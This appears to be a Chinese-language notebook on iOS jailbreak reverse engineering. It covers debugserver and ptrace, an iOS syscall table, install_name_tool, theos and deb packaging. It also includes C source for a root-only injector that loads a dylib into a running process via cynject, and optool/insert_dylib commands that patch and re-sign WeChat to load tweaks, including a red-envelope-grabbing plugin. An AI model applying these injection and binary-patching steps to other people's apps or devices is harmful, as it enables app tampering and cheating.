按住command键点击Xcode,找到xcode.app显示包内容/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/15.0
找到DeveloperDiskImage.dmg 里的usr -> bin -> debugserver
手机的根目录下的 Developer -> usr -> bin 里能找到debugserver,越狱手机可以查看
越狱环境下,lldb连接手机的debugserver,然后就可以通过debugserver调试某个app
debugserver如何调试app?
## ptrace函数
debugserver通过ptrace函数调试app
ptrace是系统函数,此函数提供一个进程去监听和控制另一个进程,
并且可以检测被控制进程的内存和寄存器里面的数据。ptrace可以用来实现断点调试和系统调用跟踪。
## FutureRestore-GUI: https://github.com/CoocooFroggy/FutureRestore-GUI


### 命令行安装FutureRestore-GUI
Mac利用brew命令行安装
```
macOS: brew install futurerestore-gui
```
Windows利用winget命令行安装
```
Windows: winget install futurerestore-gui
```
## -----------------------------------
## iOS内嵌内嵌汇编指令 - ios-syscalls
```
1 __exit
2 fork
3 read
4 write
5 __open
6 close
7 __wait4
9 _kernelrpc_mach_vm_allocate_trap
9 link
10 __unlink
11 _kernelrpc_mach_vm_deallocate_trap
12 chdir
13 _kernelrpc_mach_vm_protect_trap
13 fchdir
14 _kernelrpc_mach_vm_map_trap
14 mknod
15 __chmod
15 _kernelrpc_mach_port_allocate_trap
16 _kernelrpc_mach_port_destroy_trap
16 chown
17 _kernelrpc_mach_port_deallocate_trap
18 _kernelrpc_mach_port_mod_refs_trap
19 _kernelrpc_mach_port_move_member_trap
20 _kernelrpc_mach_port_insert_right_trap
21 _kernelrpc_mach_port_insert_member_trap
22 _kernelrpc_mach_port_extract_member_trap
23 _kernelrpc_mach_port_construct_trap
23 setuid
24 _kernelrpc_mach_port_destruct_trap
24 getuid
25 geteuid
25 mach_reply_port
26 thread_self_trap
27 __recvmsg
27 __recvmsg
27 task_self_trap
28 __sendmsg
28 __sendmsg
28 host_self_trap
29 __recvfrom
29 __recvfrom
30 __accept
30 __accept
30 mach_msg_trap
31 __getpeername
31 __getpeername
31 mach_msg_overwrite_trap
32 __getsockname
32 __getsockname
32 semaphore_signal_trap
33 access
33 semaphore_signal_all_trap
34 chflags
34 semaphore_signal_thread_trap
35 fchflags
35 semaphore_wait_trap
36 semaphore_wait_signal_trap
36 sync
37 __kill
37 semaphore_timedwait_trap
38 semaphore_timedwait_signal_trap
39 getppid
40 _kernelrpc_mach_port_guard_trap
41 _kernelrpc_mach_port_unguard_trap
41 dup
43 getegid
43 task_name_for_pid
44 task_for_pid
45 pid_for_task
46 __sigaction
47 getgid
47 macx_swapon
48 macx_swapoff
48 sigprocmask
49 __getlogin
50 __setlogin
50 macx_triggers
51 acct
51 macx_backing_store_suspend
52 macx_backing_store_recovery
52 sigpending
53 __sigaltstack
54 __ioctl
55 reboot
56 revoke
57 symlink
58 readlink
58 swtch_pri
59 execve
59 swtch
60 syscall_thread_switch
60 umask
61 chroot
61 clock_sleep_trap
65 __msync
65 __msync
73 __munmap
74 __mprotect
74 __mprotect
75 madvise
75 madvise
78 mincore
79 getgroups
80 setgroups
81 getpgrp
82 setpgid
83 setitimer
85 swapon
86 getitimer
88 mach_timebase_info
89 getdtablesize
89 mach_wait_until
90 dup2
90 mk_timer_create
91 mk_timer_destroy
92 __fcntl
92 mk_timer_arm
93 __select
93 __select
93 mk_timer_cancel
95 fsync
96 __setpriority
97 socket
98 __connect
98 __connect
100 getpriority
104 __bind
104 __bind
105 setsockopt
106 __listen
106 __listen
111 __sigsuspend
117 getrusage
118 getsockopt
120 readv
121 writev
122 __settimeofday
123 fchown
124 __fchmod
126 __setreuid
126 __setreuid
127 __setregid
127 __setregid
128 __rename
131 flock
132 mkfifo
133 __sendto
133 __sendto
134 shutdown
135 __socketpair
135 __socketpair
136 mkdir
137 __rmdir
138 utimes
139 futimes
140 adjtime
142 __gethostuuid
147 setsid
148 setquota
149 quota
151 getpgid
152 setprivexec
153 pread
154 pwrite
155 nfssvc
159 unmount
161 getfh
165 quotactl
167 mount
169 csops
170 csops_audittoken
173 waitid
178 __kdebug_trace_string
179 __kdebug_trace64
180 __kdebug_trace
181 setgid
182 setegid
183 seteuid
184 __sigreturn
185 __chud
187 fdatasync
191 pathconf
192 fpathconf
194 __getrlimit
195 __setrlimit
196 getdirentries
197 __mmap
199 __lseek
199 __lseek
200 truncate
201 ftruncate
202 __sysctl
203 mlock
204 munlock
205 undelete
216 __open_dprotected_np
220 __getattrlist
220 __getattrlist
221 __setattrlist
221 __setattrlist
222 getdirentriesattr
223 exchangedata
225 searchfs
226 __delete
227 __copyfile
228 fgetattrlist
229 fsetattrlist
230 poll
231 watchevent
232 waitevent
233 modwatch
234 getxattr
235 fgetxattr
236 setxattr
237 fsetxattr
238 removexattr
239 fremovexattr
240 listxattr
241 flistxattr
242 fsctl
243 __initgroups
244 __posix_spawn
245 ffsctl
247 nfsclnt
248 fhopen
250 minherit
251 __semsys
252 __msgsys
253 __shmsys
254 __semctl
255 semget
256 semop
258 __msgctl
258 __msgctl
259 msgget
260 msgsnd
261 msgrcv
262 shmat
263 __shmctl
263 __shmctl
264 shmdt
265 shmget
266 __shm_open
267 shm_unlink
268 __sem_open
269 sem_close
270 sem_unlink
271 sem_wait
272 sem_trywait
273 sem_post
274 __sysctlbyname
277 __open_extended
278 __umask_extended
279 __stat_extended
280 __lstat_extended
281 __fstat_extended
282 __chmod_extended
283 __fchmod_extended
284 __access_extended
284 __access_extended
285 __settid
285 __settid
286 __gettid
286 __gettid
287 __setsgroups
287 __setsgroups
288 __getsgroups
288 __getsgroups
289 __setwgroups
289 __setwgroups
290 __getwgroups
290 __getwgroups
291 __mkfifo_extended
292 __mkdir_extended
293 __identitysvc
294 __shared_region_check_np
296 vm_pressure_monitor
297 __psynch_rw_longrdlock
298 __psynch_rw_yieldwrlock
299 __psynch_rw_downgrade
300 __psynch_rw_upgrade
301 __psynch_mutexwait
302 __psynch_mutexdrop
303 __psynch_cvbroad
304 __psynch_cvsignal
305 __psynch_cvwait
306 __psynch_rw_rdlock
307 __psynch_rw_wrlock
308 __psynch_rw_unlock
309 __psynch_rw_unlock2
310 getsid
311 __settid_with_pid
312 __psynch_cvclrprepost
313 aio_fsync
314 aio_return
315 aio_suspend
316 aio_cancel
317 aio_error
318 aio_read
319 aio_write
320 lio_listio
322 __iopolicysys
323 __process_policy
324 mlockall
325 munlockall
327 issetugid
328 __pthread_kill
329 __pthread_sigmask
330 __sigwait
331 __disable_threadsignal
332 __pthread_markcancel
333 __pthread_canceled
334 __semwait_signal
336 __proc_info
337 sendfile
338 stat
338 stat
339 fstat
339 fstat
340 lstat
340 lstat
341 __stat64_extended
342 __lstat64_extended
343 __fstat64_extended
344 __getdirentries64
345 statfs
345 statfs
346 fstatfs
346 fstatfs
347 getfsstat
347 getfsstat
348 __pthread_chdir
349 __pthread_fchdir
350 audit
351 auditon
353 getauid
354 setauid
357 getaudit_addr
358 setaudit_addr
359 auditctl
360 __bsdthread_create
361 __bsdthread_terminate
362 kqueue
363 kevent
364 __lchown
364 __lchown
365 __stack_snapshot
366 __bsdthread_register
367 __workq_open
368 __workq_kernreturn
369 kevent64
370 __old_semwait_signal
371 ____old_semwait_signal_nocancel
372 __thread_selfid
373 ledger
374 kevent_qos
380 __mac_execve
380 __mac_execve
381 __mac_syscall
381 __mac_syscall
382 __mac_get_file
383 __mac_set_file
384 __mac_get_link
385 __mac_set_link
386 __mac_get_proc
387 __mac_set_proc
387 __mac_set_proc
388 __mac_get_fd
389 __mac_set_fd
390 __mac_get_pid
396 __read_nocancel
396 __read_nocancel
397 __write_nocancel
397 __write_nocancel
398 __open_nocancel
399 __close_nocancel
399 __close_nocancel
400 __wait4_nocancel
400 __wait4_nocancel
401 __recvmsg_nocancel
401 __recvmsg_nocancel
402 __sendmsg_nocancel
402 __sendmsg_nocancel
403 __recvfrom_nocancel
403 __recvfrom_nocancel
404 __accept_nocancel
404 __accept_nocancel
405 __msync_nocancel
405 __msync_nocancel
406 __fcntl_nocancel
407 __select_nocancel
407 __select_nocancel
408 __fsync_nocancel
408 __fsync_nocancel
409 __connect_nocancel
409 __connect_nocancel
410 __sigsuspend_nocancel
411 __readv_nocancel
411 __readv_nocancel
412 __writev_nocancel
412 __writev_nocancel
413 __sendto_nocancel
413 __sendto_nocancel
414 __pread_nocancel
414 __pread_nocancel
415 __pwrite_nocancel
415 __pwrite_nocancel
416 __waitid_nocancel
416 __waitid_nocancel
417 __poll_nocancel
417 __poll_nocancel
418 __msgsnd_nocancel
418 __msgsnd_nocancel
419 __msgrcv_nocancel
419 __msgrcv_nocancel
420 __sem_wait_nocancel
420 __sem_wait_nocancel
421 __aio_suspend_nocancel
421 __aio_suspend_nocancel
422 ____sigwait_nocancel
423 __semwait_signal_nocancel
424 __mac_mount
424 __mac_mount
425 __mac_get_mount
426 __mac_getfsstat
427 __fsgetpath
428 audit_session_self
429 audit_session_join
430 fileport_makeport
431 fileport_makefd
432 audit_session_port
433 pid_suspend
434 pid_resume
435 pid_hibernate
436 pid_shutdown_sockets
438 __shared_region_map_and_slide_np
439 kas_info
440 memorystatus_control
441 __guarded_open_np
442 guarded_close_np
443 guarded_kqueue_np
444 change_fdguard_np
446 proc_rlimit_control
447 connectx
448 disconnectx
449 peeloff
450 socket_delegate
451 __telemetry
452 proc_uuid_policy
453 memorystatus_get_level
454 system_override
455 vfs_purge
456 __sfi_ctl
457 __sfi_pidctl
458 __coalition
459 __coalition_info
460 necp_match_policy
461 getattrlistbulk
463 __openat
464 __openat_nocancel
465 __renameat
466 faccessat
467 fchmodat
468 fchownat
470 fstatat
470 fstatat
471 linkat
472 __unlinkat
473 readlinkat
474 symlinkat
475 mkdirat
476 getattrlistat
477 proc_trace_log
478 __bsdthread_ctl
479 openbyid_np
480 recvmsg_x
481 sendmsg_x
482 __thread_selfusage
483 __csrctl
484 __guarded_open_dprotected_np
485 guarded_write_np
486 guarded_pwrite_np
487 guarded_writev_np
488 __rename_ext
489 mremap_encrypted
490 netagent_trigger
491 __stack_snapshot_with_config
492 __microstackshot
493 grab_pgo_data
499 __work_interval_ctl
```
iOS动态库注入工具:cynject、yololib、insert_dylib、optool、install_name_tool
## Cycript
cycript是大神saurik开发的一个非常强大的工具,
可以让开发者在命令行下和应用交互,在运行时查看和修改应用。
底层实现: 是通过苹果的JavaScriptCore.framework来打通iOS与javascript的桥梁(OC和JS互相调用)
## -----------------------------------
## install_name_tool 注入动态库 使用说明
(1)@executable_path。这个path很少用,本质上就是可执行程序的路径。在动态库中基本上不使用这个path.
(2) @loader_path。这个path在之前的应用中用的非常多,可以通过这个path来设置动态库的install path name。
但是它有自己的局限性,就是当一个动态库同时被多个程序引用时,如果位置不一样的话仍然需要手动修改。这个在参考链接中有说明。
(3) @rpath 它是run path的缩写。本质上它不是一个明确的path,甚至可以说它不是一个path。
它只是一个变量,或者叫占位符。这个变量通过XCode中的run path选项设置值,或者通过install_name_tool的-add_rpath设置值。
设置好run path之后,所有的@rpath都会被替换掉。此外,run path是可以设置多个值的
```
INSTALL_NAME_TOOL(1) General Commands Manual INSTALL_NAME_TOOL(1)
NAME
install_name_tool - change dynamic shared library install names
SYNOPSIS
install_name_tool [-change old new ] ... [-rpath old new ] ... [-add_rpath new ] ... [-delete_rpath new ] ... [-id name] file
DESCRIPTION
Install_name_tool changes the dynamic shared library install names and or adds, changes or deletes the rpaths recorded in a Mach-O binary.
For this tool to work when the install names or rpaths are larger the binary should be built with the ld(1) -headerpad_max_install_names
option.
-change old new
Changes the dependent shared library install name old to new in the specified Mach-O binary. More than one of these options can be
specified. If the Mach-O binary does not contain the old install name in a specified -change option the option is ignored.
-id name
Changes the shared library identification name of a dynamic shared library to name. If the Mach-O binary is not a dynamic shared
library and the -id option is specified it is ignored.
-rpath old new
Changes the rpath path name old to new in the specified Mach-O binary. More than one of these options can be specified. If the
Mach-O binary does not contain the old rpath path name in a specified -rpath it is an error.
-add_rpath new
Adds the rpath path name new in the specified Mach-O binary. More than one of these options can be specified. If the Mach-O binary
already contains the new rpath path name specified in -add_rpath it is an error.
-delete_rpath old
deletes the rpath path name old in the specified Mach-O binary. More than one of these options can be specified. If the Mach-O
binary does not contains the old rpath path name specified in -delete_rpath it is an error.
```
## 基于cynject注入dylib
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern char ***_NSGetEnviron(void);
extern int proc_listallpids(void *, int);
extern int proc_pidpath(int, void *, uint32_t);
static const char *cynject_path = "/usr/bin/cynject";
static const char *dispatch_queue_name = NULL;
static int process_buffer_size = 4096;
static pid_t process_pid = -1;
static boolean_t find_process(const char *name, pid_t *ppid_ret) {
pid_t *pid_buffer;
char path_buffer[MAXPATHLEN];
int count, i, ret;
boolean_t res = FALSE;
pid_buffer = (pid_t *)calloc(1, process_buffer_size);
assert(pid_buffer != NULL);
count = proc_listallpids(pid_buffer, process_buffer_size);
if (count) {
for (i = 0; i < count; i++) {
pid_t ppid = pid_buffer[i];
ret = proc_pidpath(ppid, (void *)path_buffer, sizeof(path_buffer));
if (ret < 0) {
printf("(%s:%d) proc_pidinfo() call failed.\n", __FILE__, __LINE__);
continue;
}
if (strstr(path_buffer, name)) {
res = TRUE;
*ppid_ret = ppid;
break;
}
}
}
free(pid_buffer);
return res;
}
static void inject_dylib(const char *name, pid_t pid, const char *dylib) {
char **argv;
char pid_buf[32];
int res;
pid_t child;
argv = calloc(4, sizeof(char *));
assert(argv != NULL);
snprintf(pid_buf, sizeof(pid_buf), "%d", pid);
argv[0] = (char *)name;
argv[1] = (char *)pid_buf;
argv[2] = (char *)dylib;
argv[3] = NULL;
printf("(%s:%d) calling \"%s %s %s\"\n", __FILE__, __LINE__, argv[0], argv[1], argv[2]);
res = posix_spawn(&child, argv[0], NULL, NULL, argv, (char * const *)_NSGetEnviron());
assert(res == 0);
return;
}
int main(int argc, char *argv[]) {
printf("***** pp_inject by piaoyun ***** \n");
if (geteuid() != 0) {
printf("FATAL: must be run as root.\n");
return 1;
}
if (argc < 3 ) {
printf("FATAL: ppinject .\n");
return 2;
}
const char *process_name = argv[1];
const char *dylib_path = argv[2];
printf("Creating queue...\n");
dispatch_queue_t queue = dispatch_queue_create(dispatch_queue_name, 0);
printf("Finding %s PID...\n", process_name);
dispatch_async(queue, ^{ while (!find_process(process_name, &process_pid)); });
printf("Waiting for queue to come back...\n");
dispatch_sync(queue, ^{});
printf("%s PID is %d\n", process_name, process_pid);
printf("Injecting %s into %s...\n", dylib_path, process_name);
inject_dylib(cynject_path, process_pid, dylib_path);
return 0;
}
```
## Mach-O注入/删除动态库 insert_dylib optool
如果要让现成的App,执行自己的代码可以通过注入动态库,
静态的注入可以使用optool工具修改MachO的Load Commands然后重签,
动态运行时可以使用dlopen 或 Bundle(path: "**.bundle").load()加载
```
通过 otool -L命令查看你生成的.dylib文件
otool -L ioswechatselectall.dylib
查看CPU框架
lipo -archs ioswechatselectall.dylib
首先要找到libsubstrate.dylib文件,该文件应该在/opt/thoes/lib/目录下,然后将其拷贝到与你生成的的.dylib一个目录下,通过下面的指令修改依赖,
install_name_tool -change /Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate @loader_path/libsubstrate.dylib wx.dylib
添加可执行文件的依赖
此处用的是insert_dylib 下载地址在https://github.com/Tyilo/insert_dylib
编译后,将其与其他两个文件拷贝到同一目录下
然后将其插入到执行文件中
1.将wx.dylib 和libsubstrate.dylib拷贝进你的WeChat.app
2.记住要把WeChat_patched的名字改回来WeChat
@executable_path是一个环境变量,指的是二进制文件所在的路径
insert_dylib命令格式: ./insert_dylib 动态库路径 目标二进制文件
//注入动态库
./insert_dylib @executable_path/ioswechatselectall.dylib WeChat
./yololib Wechat wxhbts.dylib
//打包成ipa
xcrun -sdk iphoneos PackageApplication -v WeChat.app -o `pwd`/WeChat.ipa
注入神器optool
编译获取
因为 optool 添加了 submodule,因为需要使用 --recuresive 选项,将子模块全部 clone 下来
git clone --recursive https://github.com/alexzielenski/optool.git
cd optool
xcodebuild -project optool.xcodeproj -configuration Release ARCHS="i386 x86_64" build
使用 optool 把 wx.dylib 注入到二进制文件中
./optool install -c load -p "@executable_path/wx.dylib" -t WeChat
codesign签名dylib
errSecInternalComponent 错误
在Mac终端上运行codesign命令,并“始终允许” /usr/bin/codesign访问密钥
security unlock-keychain login.keychain
解锁命令移至,~/.bash_profile以便在SSH客户端启动时对钥匙串进行解锁
AppleWWDRCAG3 不收信任证书
获取证书
security find-identity -v -p codesigning
签名Dylib
codesign -f -s B3C14FC452E835C09B70D5C24961EBAFC0A2C4B9 hook.dylib
ldid -S dumpdecrypted.dylib
1.安装 Xcode
2.安装 Command Line Tools
xcode-select --install
codesign --force --deep --sign - /xxx/xxx.app
签名错误 resource fork, Finder information, or similar detritus not allowed
解决方法 xattr -lr
查看 xattr -cr 删除
或者 find . -type f -name '*.jpeg' -exec xattr -c {} \; find . -type f -name '*.png' -exec xattr -c {} \;
find . -type f -name '*.tif' -exec xattr -c {} \;
整个App签名 codesign -fs "授权证书" --no-strict --entitlements=生成的plist文件 WeChat.app
验证Dylib签名 codesign –verify hook.dylib codesign -vv -d WeChat.app
Xcode升级到8.3后 用命令进行打包 提示下面这个错误
后面根据对比发现新版的Xcode少了这个PackageApplication (QQ群下载)
先去找个旧版的Xcode里面copy一份过来
放到下面这个目录:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/
然后执行命令
sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/
chmod +x /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/PackageApplication
theos
ARCHS = armv7 armv7s arm64
TARGET = iphone:8.4:7.0
#指定路径,否则默认在 /Library/MobileSubstrate/DynamicLibraries
LOCAL_INSTALL_PATH = /usr/bin
include theos/makefiles/common.mk
TWEAK_NAME = oooo
oooo_FILES = oooo.xm
#指定版本
_THEOS_TARGET_LDFLAGS += -current_version 1.0
_THEOS_TARGET_LDFLAGS += -compatibility_version 1.0
#tweak2.mk是我修改过的,去掉了CydiaSubstrate链接,因为这个dylib用不到
include $(THEOS_MAKE_PATH)/tweak2.mk
-current_version、-compatibility_version参数参考自苹果官方!!
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/CreatingDynamicLibraries.html
theos编译不越狱可用的dylib
SUBSTRATE ?= yes
instance_USE_SUBSTRATE = $(SUBSTRATE)
把上面的instance替换成你的TweakName
在上面的这个例子中就是XXXX
include _USE_SUBSTRATE = no,请转换为使用include _LOGOS_DEFAULT_GENERATOR = internal
编译:make SUBSTRATE=no
编译DEB:make SUBSTRATE=no package
编译DEB并安装:make SUBSTRATE=no package install
```
## 打包deb
```
find . -name .DS_Store -print0 | xargs -0 git rm -f --ignore-unmatch
echo .DS_Store >> ~/.gitignore
xcode-select --install
sudo xcodebuild -license 手动输入 agree
安装 Macports ,网址:http://www.macports.org/install.php
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
sudo port -f install dpkg
dpkg 降级
brew remove dpkg
HOMEBREW_NO_AUTO_UPDATE=1 brew install https://raw.githubusercontent.com/Homebrew/homebrew-core/7a4dabfc1a2acd9f01a1670fde4f0094c4fb6ffa/Formula/dpkg.rb
brew pin dpkg
$ brew remove dpkg
# remove latest dpkg
$ brew install --force-bottle https://raw.githubusercontent.com/Homebrew/homebrew-core/7a4dabfc1a2acd9f01a1670fde4f0094c4fb6ffa/Formula/dpkg.rb
# install dpkg as a bottle from the old commit
$ brew pin dpkg
# block homebrew from updating dpkg till you `brew unpin dpkg`
postinst写法(直接复制)(权限755)
#!/bin/bash
mkdir -p /private/var/mobile/Documents/
chown -R mobile:mobile /private/var/mobile/Documents/
/bin/su -c uicache mobile
cd Desktop
sudo chmod -R 755 *
dpkg-deb -Z gzip -b ./{标识符}
dpkg-deb -Z xz -b ./{标识符}
mac 解包 打包
dpkg-deb -x ./abc.deb ./tmp
dpkg-deb -e ./abc.deb ./tmp/DEBIAN
dpkg-deb -b ./tmp false8.deb
解包.sh
#!/bin/sh
dpkg-deb -x ./a.deb ./a
dpkg-deb -e ./a.deb ./a/DEBIAN
chmod -R 755 ./a/DEBIAN
打包.sh
#!/bin/sh
find . -name '*.DS_Store' -type f -delete
dpkg-deb -Z lzma -b ./a b.deb
```
### optool神器就是命令行注入
```
optool install -c load -p "@executable_path/RedEnvelop.dylib" -t WeChat
//这就是给WeChat加载抢红包插件
//如果要unstall,要这样:
optool uninstall -p "@executable_path/RedEnvelop.dylib" -t WeChat
//具体 dylib 的路径可以用 otool 查看:
otool -L WeChat
```
```
使用方法:
install -c -p -t [-o=